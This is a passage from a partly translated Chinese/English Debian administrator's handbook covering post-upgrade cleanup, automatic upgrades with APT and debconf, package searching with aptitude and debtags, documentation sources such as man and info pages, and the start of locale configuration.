Once these new package sources are registered, you should first do a minimal upgrade with apt upgrade et al. as described in 節 6.2.3, “系統升級”. By doing the upgrade in two steps, we ease the job of the package management tools and often ensure that we have the latest versions of those, which might have accumulated bugfixes and improvements required to complete the full distribution upgrade.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic (節 6.7, “升級至下個穩定發行版”). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date Bullseye system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. 處理升級後的問題

僅管 Debian 管理者已經儘力做好份內的工作，主系統的升級仍可能卡卡的不如想像中順利。軟體的新版本可能無法與舊的相容 (例如，可能改變預設行為或資料格式)。同時，儘管在 Debian 釋出前做為詳盡的測試，還是有若干漏網的錯誤。

可以先安裝 apt-listchanges package, 套件，在套件升級前先顯示可能問題。由套件維護者編輯的這些資訊且置於 /usr/share/doc/套件名/NEWS.Debian 檔案名內，供使用者參考。閱讀該等檔案 (可能經由 apt-listchanges) 應有助於歸避不好的意外。

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

- 有時已有補丁，並且列在錯誤報告內；可以在地重新編譯修補破碎的套件 (見 節 15.1, “Rebuilding a Package from its Sources”)；

- 否則，使用者可能找到另個解決問題的方法且在報告內分享；

- 再不然，維護者可能已準備並公開修訂套件。

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see 節 6.1.2.3, “建議更新”). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Cleaning Up after an Upgrade

APT usually ensures a clean upgrade, pulling in new and updated dependencies, or removing conflicting packages. But even being such a great tool, it cannot cover all tasks users and administrators will face after an upgrade, because they require a human decision.

6.7.3.1. Packages removed from the Debian Archive

Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

A similar result can be achieved by aptitude search ~o. If the packages found are not required anymore, they should be purged from the system, because they will not face any updates for critical or security related bugs anymore.

6.7.3.2. Dummy and Transitional Packages

Sometimes, it might be necessary for a package to get a new name. In this case often the old package is kept as an (almost) empty package, depending on the new one and installing only the mandatory files in /usr/share/doc/package/. Such packages are called "dummy" or "transitional" packages. If the package maintainer in charge also changed the section of this package to oldlibs, then tools like aptitude, deboprhan, or debfoster (see sidebar 其他 deborphan 與 debfoster) can pickup these packages to suggest their removal.

Unfortunately there is currently no foolproof way of making sure that these packages are automatically removed or picked by the tools mentioned above. One way to check if the system still has some of these packages installed, is to look through the package descriptions of installed packages and then check the results. Be careful not to schedule the results for automatic removal, because this method can lead to false positives:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Because the new package is pulled in as a dependency of the transitional package, it is usually marked as automatically installed and might be scheduled for removal if you try to purge the transitional package from your system. In this case you can use either of the approaches described in sidebar 秘訣 同時移除與安裝 and 節 6.2.7, “自動追蹤已安裝的套件” to selectively remove the transitional package.

6.7.3.3. Old or Unused Configuration Files

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see 節 5.2.3, “Checksums, List of Configuration Files, et al.”), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix, e.g. .dpkg-dist, .dpkg-old, .ucf-old. Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Files not owned by any Package

The Debian policy enforces that packages don't leave files behind when they are purged. Violating this principle is a serious bug and you will rarely encounter it. If you do, report it; and if you are curious though, you can use the cruft or cruft-ng package to check your system for files not owned by any package.

6.8. 保持系統在最新狀態

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

最好定期執行升級與更新，雖然很瑣碎卻是必要的。幸運的是，這種重複性的工作可以自動執行，有很多工具可以使用。

第一個工具是 apticron，位於同名套件中。主要作用是每日執行一個腳本 (經由 cron)。這個腳本更新可用套件清單，若已安裝的套件不在此清單內，則發送電子郵件列出該等套件清單，並指出在新版中可用的套件。明顯地，此套件的對象是 Debian 穩定版 的使用者，對其他版本的使用者而言，此清單太長了。取得可更新清單後，apticron 自動下載它們。不會安裝它們 — 那是管理者的權限與工作 — 但已下載的套件可以在地 (於 APT 快取內) 安裝，速度快多了。

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

此選項允許您指定重新載入的頻率。apticron 也可以在無變數的前提下執行，因為 apticron 本來就已在執行中。

APT::Periodic::Download-Upgradeable-Packages

再次地，此選項指定頻率 (以日計)，此時實際地下載套件。同樣地，使用者不需指定執行 apticron。

APT::Periodic::AutocleanInterval

此選項包括 apticron 沒有的功能。指定過時套件 (未被任何發行版參照) 移出 APT 快取的時機。如此一來，APT 快取的容量就保持在合理的範圍，不必再擔心其工作負擔。

APT::Periodic::Unattended-Upgrade

When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades. If apt-listbugs is installed, it will prevent an automatic upgrade of packages which are affected by an already reported serious or grave bug.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

圖形 6.3. 使用 gpk-update-viewer 升級

This tool is no longer installed in the default GNOME desktop. The new philosophy is that security updates should be automatically installed, either in the background or, preferably, when you shutdown your computer so as to not confuse any running application.

6.9. 自動升級

因為 Falcot Corp 雖有多部電腦但功能陽春，其管理者試圖儘可能地自動升級。必須在無人為介入情況下處理升級事宜。

6.9.1. 組態 dpkg

As we have already mentioned (see sidebar 進一步 避免組態檔的問題), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. 組態 APT

APT 的例子很簡單：-y 選項 (或 --assume-yes) 告訴 APT 面對所有的問題時，答案都是 “yes”。

6.9.3. 組態 debconf

debconf 需要較詳細的說明。此程式原本的設計就是控制給使用者看到的相關性及數量，以及顯示的方法。問題需有最小的優先權；擁有最小優先權以上的問題才顯示。debconf 預設的答案 (由套件維護者設定) 會略過。

The other relevant configuration element is the interface used by the frontend. If you choose noninteractive out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.

組態 debconf 時，用到 dpkg-reconfigure 工具，它是來自 debconf 套件；相關的命令是 dpkg-reconfigure debconf。組態值可能是在需要時暫時取代的環境變數 (例如，DEBIAN_FRONTEND 控制介面，如同在 debconf(7) 手冊頁面所述)。

6.9.4. 處理命令列介面

最後一個互動來源，以及最難擺脫的，是 dpkg 執行的組態腳本。不幸的是，沒有標準的解法且沒有較佳的答案。

通常的做法是，把標準的輸入由空白內容的 /dev/null 檔案轉向給 命令 </dev/null，或由新的鍵入字串取代。以上的方法都不是 100 % 可靠，但它們可以轉至預設的答案，因為大部份的腳本已考量到無預設值的答案。

6.9.5. 神奇的組合

把前述的元素組合起來，就可能設計出一個可處理自動升級的小而可靠腳本。

範例 6.5. 無互動升級腳本

export DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

實務 Falcot Corp 個案

Falcot 公司採用異質系統電腦，執行多種功能。管理者必須為每部電腦挑選最適合的解決方案。

In practice, the servers running Bullseye are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Bullseye, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

在實驗室裡，有些安裝 測試版 — 就是使用最新版的軟體 — 的電腦也不會自動更新。管理者必須組態 APT 才能更新它們；決定更新時 (手動)，列出重新載入套件清單並避免下載繁瑣的部件，管理者就能專注在真正有用的部件。

6.10. 搜尋套件

With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find among the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.

最瑣碎的搜尋可能是找到正確的套件名稱。若 apt show 套件名稱 送回結果，表示該套件存在。不幸的是，必須知道或猜對套件名稱，卻幾乎是不可能的.

秘訣 套件命名慣例

部份類型的套件遵循慣例命多；祗要知道該慣例就能夠猜到正確的套件名稱。例如，Perl 模組，慣例是稱呼為 XML::Handler::Composer 上游的套件名就是 libxml-handler-composer-perl。從 Python 啟用 gconf 系統的程式庫就是套件 python-gconf。不幸的是即使套件管理者努力選擇上游發展者的慣例，仍無法猜中所有套件的通俗慣例。

A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search (see 其他 axi-cache); for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.

更複雜的搜尋，需要更有力的工具，如 aptitude 是其中之一。aptitude 可搜尋套件元資料欄位的內容。例如，以下的範例搜尋含有 kino 字樣的套件名稱，其說明包括 video 與維護者名字為 paul：

$ aptitude search kino~dvideo~mpaul

p   kino  - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

Version: 1.3.4+dfsg0-1.1

State: not installed

Priority: optional

Section: video

Maintainer: Paul Brossier <piem@debian.org>

Architecture: amd64

Uncompressed Size: 8,316 k

Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2),

libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4

(>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0),

libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>=

2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0),

libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11

(>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>=

7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1

Recommends: ffmpeg, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386, kino:i386

Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386

Provides: kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with DV

camcorders. This program uses many keyboard commands for fast navigating and

editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed

as separate packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++,

interface::graphical, interface::x11, role::program, scope::application,

suite::gnome, uitoolkit::gtk, use::editing, use::learning,

works-with::video, x11::application

此搜尋祗找到一個套件，kino，滿足全部三個條件。

Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed or use the debtags command:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

以 works-with::video 及 use::editing 標籤可找出若干套件，包括 kino 與 pitivi 影像編輯器。愈來愈多人使用這種分類系統，在此基礎上，套件管理者建立更有效的介面。

總的來說，最好的工具視搜尋複雜度而定：

- apt-cache 祗能搜尋套件名稱與說明，很適合搜尋符合少許鍵詞的特定套件；

- 搜尋對象包括維護者名稱在內的套件關係或其他元資料時，synaptic 就派上用場了；

- packagesearch 是圖形介面的標籤型搜尋工具，可搜尋若干領域的套件 (包括套件內的檔案名稱)。命令列的工具，則使用 axi-cache。

- 最後，需要邏輯運算元的複雜搜尋時，首選工具為 aptitude 的語法，雖然功能強大但較為難用，它有命令列與互動模式兩種介面。

章 7. 解決問題與找到相關資訊

對系統管理員來說，最重要的技能是能夠克服任何已知或未知的情況。本章將給一些方法 — 希望 — 能夠定位問題的原因，並解決它。

7.1. 文件來源

還沒弄清楚問題所在前，需先知道該問題涉及的每個程式運作原理。為此，最好的方法是參考程式本身的文件；不過這些文件很多且分散各地，應先知道如何找到它們。

7.1.1. 手冊頁面

文化 RTFM

此英文縮寫源自不雅口頭襌，但也可以把它視為文雅的原文，"讀那些好手冊"。用來簡略回應新手提出的初階問題。對那些沒有閱讀文件就直接發問的人來說，雖然有點突兀卻精準表達厭煩的情緒。有的人認為這種回應總比沒有回應 (至少指出文件內的資訊有效) 好些，也比冗長而憤怒的回答明瞭。

任何情況下，有人以 “RTFM” 回應，其實並不如字面所示的冒犯之意。若覺得惱怒，正面的態度應是避免收到它。有時，手冊內並無該問題的答案，就應在提問時一併陳述。向論壇提問之前，應先把搜尋答案的過程列出。埃里克·雷蒙寫過一個很好的指引，提示避免犯錯並取得有用答案的步驟。

→ http://catb.org/~esr/faqs/smart-questions.html

Manual pages, while relatively terse in style, contain a great deal of essential information. We will quickly go over the command for viewing them, provided by the man-db package. Simply type man manual-page — the manual page usually goes by the same name as the command whose documentation is sought. For example, to learn about the possible options for the cp command, you would type the man cp command at the shell prompt (see sidebar 基本 shell，命令列解譯器).

基本 shell，命令列解譯器

命令列解譯器，也稱為 “shell”，由使用者鍵入或儲存在腳本內的執行命令程式，以提示符號 (通常以 $ 結束表示供一般使用者之用，或 # 結束表示給管理者使用) 表示準備接受命令。附錄 B, Short Remedial Course 說明 shell 的基本使用方法。

預設且最常用的 shell 是 bash (Bourne Again SHell)，其他的包括 dash、csh、tcsh 與 zsh。

Among other things, most shells offer help (type help) and assistance during input at the prompt, such as the completion of command or file names (which you can generally activate by pressing the tab key), or recalling previous commands (history management; i.e. check out the mappings for "page up" and "page down" in /etc/inputrc).

Man pages not only document commands and programs accessible from the command line, but also configuration files, system calls, library functions, and so forth. Sometimes names can collide. For example, the shell's read command has the same name as the read system call. This is why manual pages are organized in numbered sections:

1

可從命令列執行的命令；

2

系統呼叫 (核心提供的函數)；

3

程式庫函數 (由系統程式庫提供)；

4

設備 (在 Unix之類系統下，以檔案形式存在，通常置於 /dev/ 資料夾)；

5

組態檔 (格式與約定)；

6

遊戲

7

巨集與標準集；

8

系統管理命令；

9

核心常規。

可以指定查看手冊頁面的特定區塊：檢視 read 系統呼叫的文件時，應鍵入 man 2 read。未指定區塊時，將顯示第一個找到同名的手冊頁面。因此，man shadow 送回 shadow(5) 因為在區塊 1 至 4 都沒有 shadow 的手冊頁面。

秘訣 whatis

若不想查看所有的手冊頁面，祗想看看簡短說明以確認就是搜尋的資料，鍵入 whatis 命令。

$ whatis scp

scp (1)              - OpenSSH secure file copy

這個簡短說明放在所有手冊頁面開始的 NAME 區塊。

當然，不知道命令的名稱時，手冊就沒什麼用。此時需要 apropos 命令，協助搜尋手冊頁面，或其簡短說明。每個手冊頁面都有一行簡要的摘要。apropos 送回手冊頁面鍵詞清單。選擇適當的鍵詞，就能找到命令的名稱。

範例 7.1. 找尋 cp 使用 apropos

$ apropos "copy file"

cp (1)               - copy files and directories

cp (1posix)          - copy files

cpio (1)             - copy files to and from archives

exec (1posix)        - execute commands and open, close, or copy file descriptors

install (1)          - copy files and set attributes

ntfscp (8)           - copy file to an NTFS volume.

秘訣 瀏覽連結

很多手冊頁面有 “參見” 區塊，通常在最後面。參見至類似命令、或外部文件的其他手冊頁面。若找不到資訊，從這個區塊就可以找到相關的文件。

The man command is not the only means of consulting the manual pages, since khelpcenter and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL after following the instructions in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

此工具需要瀏覽器。所以必須先安裝此套件於伺服器內：內網內的所有使用者都可以使用此服務 (包括非 Linux 機器)，且不需在每個工作站都設定 HTTP 伺服器。若伺服器允許其他網路近用，需設定該等服務祗限內網使用者。

Last but not least, you can view all manual pages available in Debian (even those that are not installed on your machine) on the manpages.debian.org service. It offers each manual page in multiple versions, one for each Debian release.

→ https://manpages.debian.org

DEBIAN 政策 必備手冊頁面

Debian 要求每個程式都有一個手冊頁面。若上游作者沒有提供，Debian 套件維護者會寫一個簡短的頁面指示讀者至原始的文件。

7.1.2. info 文件

GNU 計畫以 info 格式撰寫大部份程式的手冊；其他的程式手冊也採用 info 文件格式。此格式優點甚多，但檢視此文件的程式 (稱為 info) 有點複雜。建議使用 pinfo 取代之 (來自 pinfo 套件)。

info 文件有層級結構，無參數的 pinfo 檢視，顯示第一層的節點。通常節點名稱等同於命令名稱。

With pinfo navigating between these nodes is easy to achieve with the arrow keys. Alternatively, you could also use a graphical browser, which is a lot more user-friendly. Again, konqueror and yelp work; the info2www package also provides a web interface.

→ http://localhost/cgi-bin/info2www

info 系統不支援翻譯功能，不同於 man 頁面系統可以翻譯。info 文件幾乎都是英文。雖然如此，當您詢問 pinfo 程式顯示不存在的 info 頁面時，實際上卻回到 man 的同名 (若存在的話) 頁面，那是可以翻譯的。

7.1.3. 特定文件

每個套件均含本身的文件。即使文件做得最差的程式仍有一個 README 檔案，內容是有趣或重要的資訊。此文件安裝在 /usr/share/doc/套件名稱/ 資料來內 (套件名稱 表示該套件的名稱)。若文件特大，可能沒辦法放在程式的主套件內，可能放在名為 套件名稱-doc 的離線專屬套件。再從主套件建議讀取文件套件。

The /usr/share/doc/package/ directory also contains some files provided by Debian which complete the documentation by specifying the package's particularities or improvements compared to a traditional installation of the software. The README.Debian file also indicates all of the adaptations that were made to comply with the Debian Policy. The changelog.Debian.gz file allows the user to follow the modifications made to the package over time: it is very useful to try to understand what has changed between two installed versions that do not have the same behavior. Finally, there is sometimes a NEWS.Debian.gz file which documents the major changes in the program that may directly concern the administrator (see 節 6.7.2, “處理升級後的問題”).

7.1.4. 網站

In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian to limit results and target relevant information.

TIP From error to solution

送回錯得離譜的訊息時，可以重新搜尋原來的鍵詞 (置於兩個雙引號內，"，就不會搜尋個別的字，而是一個完整的句子)。大部份情況下，第一個送回的連結就是期望的答案。

其他的時候，還是可能出現極普通的錯誤，諸如 “沒有權限”。在此情況下，最好檢查權限 (檔案、使用者帳號或群組)。

If you do not know the address for the software's website, there are various means of getting it. First, check if there is a Homepage field in the package's meta-information (apt show package). Alternately, the package description may contain a link to the program's official website. If no URL is indicated, look at /usr/share/doc/package/copyright. The Debian maintainer generally indicates in this file where they got the program's source code, and this is likely to be the website that you need to find. If at this stage your search is still unfruitful, consult a free software directory, such as FSF's Free Software Directory, or search directly with a search engine, such as Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

You might also want to check the Debian wiki, a collaborative website where anybody, even new visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. 教學文件 (HOWTO)

A HOWTO is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian also provides tutorials for its users:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating personal websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. 通常步驟

本區的目的是說明管理者常用到的作業秘訣。當然，這些步驟不會包括所有的個案，可以視為更困難案件的起點。

發現 其他語系的文件

文件翻譯成其他語系後，通常置於對映的同名獨立套件內，跟在 -語系 (語系 應以兩個字母的 ISO 語系代碼取代) 之後。

For instance, the debian-reference-fr package is the French version of the reference guides for Debian (initially written in English by Osamu Aoki), and the manpages-de package contains the German version of the manual pages about using GNU/Linux.

7.2.1. 組態程式

When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/package/README.Debian will allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems.

然後，應該看看軟體的官方文件 — 參照 節 7.1, “文件來源” 辨識現有的文件來源。dpkg -L 套件名稱 命序列出該套件的檔案清單；也可辨識出可用的文件 (以及組態檔，位於 /etc/)。dpkg -s 套件名稱 列出套件的元資料並顯示建議的套件；從這裡，可找到協助組態軟體的文件及工具。

最後，組態檔本身以說明性評論列出各種組態設定的可能值。通常祗要選其中之一就可以。有些時候，組態檔位於 /usr/share/doc/套件名稱/examples/ 資料夾內。可做為客製化組態的基礎。

DEBIAN 政策 範例的位置

所有的範例必須安裝在 /usr/share/doc/套件名稱/examples/ 資料夾內。可以是組態檔、原始碼 (使用程式庫的範例)、或在特定情況下管理者用來轉換資料的腳本 (如初始化資料庫)。適用於特定架構的範例，應安裝在 /usr/lib/套件名稱/examples/ 資料夾且連結在 /usr/share/doc/套件名稱/examples/ 資料夾內的檔案。

7.2.2. 監控後台進程的工作

瞭解後台進程有點複雜，因為它的工作不會直接與管理者互動。檢查實際工作中的後台進程，需要先測試它。例如，以 HTTP 請求，測試 Apache (網頁伺服器) 的後台進程。

基本 後台進程

後台進程係指未經使用者啟動就在後台運作的程式，在後台等待環境的條件出現才開始工作。伺服器有很多後台進程，這類程式的名稱多半以字母 “d” 結束 (sshd、smtpd、httpd等)。

為了記錄測試結果，每個後台進程都記錄其工作過程，以及碰到的錯誤，存在 “記錄檔案” 或 “系統記錄” 內。記錄檔案存在 /var/log/ 資料夾或其下的次資料夾。參見此文件，找出每個後台進程記錄檔的正確名稱。注意：單次測試不足以涵蓋所有的情況；某些問題祗在特定環境才會發生。

工具 此 rsyslogd 後台進程

rsyslogd is special: it collects logs (internal system messages) that are sent to it by other programs. Each log entry is associated with a subsystem (e-mail, kernel, authentication, etc.) and a priority; rsyslogd processes these two pieces of information to decide on what to do. The log message may be recorded in various log files, and/or sent to an administration console. The details are defined in the /etc/rsyslog.conf configuration file (documented in the manual page of the same name provided in the rsyslog-doc package).

Certain C functions, which are specialized in sending logs, simplify the use of the rsyslogd daemon. However some daemons manage their own log files (this is the case, for example, of samba, which implements Windows shares on Linux).

使用 systemd 時，實際上由 systemd 搜集日誌再轉發給 rsyslogd。也可經由 systemd 的日誌系統，使用 journalctl (詳情見 節 9.1.1, “systemd 啟動系統”) 查詢。

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, awffull for Apache), FTP servers, proxy/cache servers, firewalls, e-mail servers, DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in 章 14, 安全性), scan these files in search of alerts to be dealt with.

7.2.3. 通過郵件列表尋求幫助

If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org> mailing list and its language specific siblings <debian-user-lang@lists.debian.org>. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

基本 網路禮儀

In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.

→ https://tools.ietf.org/html/rfc1855

此外，Debian 計畫管理的通訊管道，需遵守 Debian 行為準則：

→ https://www.debian.org/code_of_conduct

Once those two conditions are met, you can think of describing your problem to the mailing list. Include as much relevant information as possible: various tests conducted, documentation consulted, how you attempted to diagnose the problem, the packages concerned or those that may be involved, etc. Check the Debian Bug Tracking System (BTS, described in sidebar 節 1.3.2.1, “Reporting bugs”) for similar problems, and mention the results of that search, providing links to bugs found. BTS starts on:

→ https://bugs.debian.org/

措辭愈得當與精準，愈有機會得到答案，至少，若干回應。若以私訊收到相關的資訊，不妨考慮把它整理公佈以嘉惠其他人。同時可以讓列表典藏它，被搜尋引擎找到，讓碰到同樣問題的人也能看到解決方案。

7.2.4. 以錯誤報告棘手的問題

若所有的努力都沒有結果，很可能不是您的錯，祗是程式本身錯誤造成的問題。在此情況下，正確的程序是向 Debian 或直接向上游開發者報告錯誤。首先，應儘可能單純化錯誤並建立最基本的測試環境。若知道造成問題的程式，可以用命令 dpkg -S 有問題的檔案 找出對應的套件名稱。檢查錯誤追蹤系統 (https://bugs.debian.org/套件名稱) 確定還沒有人報告該錯誤。然後，以 reportbug 命令送出自己的錯誤報告，完整描述測試的基本環境，讓別人也能再生該錯誤。

本章旨在有效解決後面各章可能碰到的問題。有需要就常常用它！

章 8. 基本組態：網路、帳號、列印...

以 debian-installer 命令安裝的電腦是儘可能的可用，但仍有若干服務需要組態。而且，瞭解修改初始安裝程序的組態是件好事。

本章包括所有的 “基本組態”：網路、語系與地區設定、列印、掛載點等。

8.1. 組態系統供其他語系使用

選擇法語介面安裝系統，則可能已經把法語當成預設語言。但是瞭解安裝器安裝語系的方法，需要發生時，就可以變更語系。

工具 此 locale 命令顯示當前的組態

locale 命令列出地區設定參數的當前語系組態 (日期格式、數字格式等)，以一組標準的環境變數表示這些設定的動態修改。

8.1.1. 設定預設語系

地區設定是一組區域設定。不祗是語文，還包括顯示的數字、日期、時間、貨幣與字母對照表 (針對重音符號)。雖然這些參數可以各別設定，我們還是習慣以一個區域設定處理全部事宜，廣義上符合 “地區” 的一組設定值就搞定。這些地區設定以相同形式表現，語文代碼_國家代碼，有時加上後置詞指明使用的編碼。這種方式可以呈現同個語文在不同地區的慣用語或用字。

文字 字元集

過去，每個地區都對應一組 “字元集” (已知字元的集合) 與偏好的 “編碼” (電腦內表示字元的方法)。

最常見的編碼是拉丁基礎的語言限於256個字元，因為每個字元祗用到一個位元組。256個字元顯然不夠所有的歐洲語系使用，需要多編碼，所以出現 ISO-8859-1 (也稱為 “Latin 1”) 至 ISO-8859-15 (也稱為 “Latin 9”)，以及其他的編碼方式。

